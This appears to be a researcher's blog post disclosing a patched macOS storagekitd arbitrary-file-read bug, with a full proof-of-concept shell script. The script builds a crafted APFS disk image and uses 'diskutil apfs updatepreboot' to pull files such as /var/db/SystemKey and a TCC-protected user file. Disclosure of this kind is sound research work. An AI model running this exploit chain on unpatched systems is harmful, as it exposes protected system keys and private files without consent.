amy's website

StorageKit bug 4

There was another bug (like 1, 2, 3) in storagekitd; I reported it in April 2026, and it was fixed in macOS 15.8, macOS 26.7, and macOS 27:

Impact: An app may be able to read arbitrary files
Description: A validation issue was addressed with improved input sanitization.
CVE-2026-43791: Meridian Miftari, Amy (amys.website), Aaron Grattafiori - NVIDIA AI Red Team

Evidently, one of the other individuals found it first, so I didn't get a bounty.

sample code

The attack used diskutil apfs updatePreboot to read an arbitrary "user picture" path and write the contents to a plist.

hdiutil attach -owners on theft.sparseimage
diskutil mount theft_preboot

function steal
{
	defaults write /Volumes/theft_system/private/var/db/dslocal/nodes/Default/users/theft.plist picture -array "$1"
	
	diskutil apfs updatepreboot theft_system
	
	plutil -extract theft.UserPictureData raw /Volumes/theft_preboot/*/var/db/AllUsersInfo.plist | base64 -d > "$2"
}

# shouldn't be readable by regular users at all

steal /var/db/SystemKey SystemKey.bin

# should cause a TCC prompt

steal ~/Downloads/zoe.png zoe.png

hdiutil detach /Volumes/theft_system

Because Open Directory is picky about permissions, creating the disk image used above requires root, but it can be done on a separate machine:

hdiutil create -size 10g -layout none -o theft.sparseimage
whole=$(hdiutil attach -plist -nomount theft.sparseimage | plutil -extract system-entities.0.dev-entry raw -)
diskutil apfs createcontainer $whole
container=$(diskutil info -plist $whole | plutil -extract APFSContainerReference raw -)
diskutil apfs addvolume $container APFS theft_data -role D
diskutil apfs addvolume $container APFS theft_system -role S -sibling theft_data
diskutil apfs addvolume $container APFS theft_preboot -role B

hdiutil detach $whole
hdiutil attach -owners on theft.sparseimage

function ensure_perms
{
	for volume in theft_data theft_system theft_preboot
	do
		sudo chown -R root:wheel /Volumes/$volume
		sudo chmod -R 777 /Volumes/$volume
	done
}

ensure_perms

mkdir /Volumes/theft_preboot/$(diskutil info -plist theft_data | plutil -extract VolumeUUID raw -)

user_plist=/Volumes/theft_system/private/var/db/dslocal/nodes/Default/users/theft.plist
group_plist=/Volumes/theft_system/private/var/db/dslocal/nodes/Default/groups/admin.plist

mkdir -p $(dirname $user_plist) $(dirname $group_plist)
ln -s private/var /Volumes/theft_system/var

defaults write $user_plist name -array theft
defaults write $user_plist realname -array 'Amy Sidle'
defaults write $user_plist authentication_authority -array dummy
defaults write $user_plist generateduid -array dummy

defaults write $group_plist name -array admin
defaults write $group_plist groupmembers -array dummy

ensure_perms

hdiutil detach $whole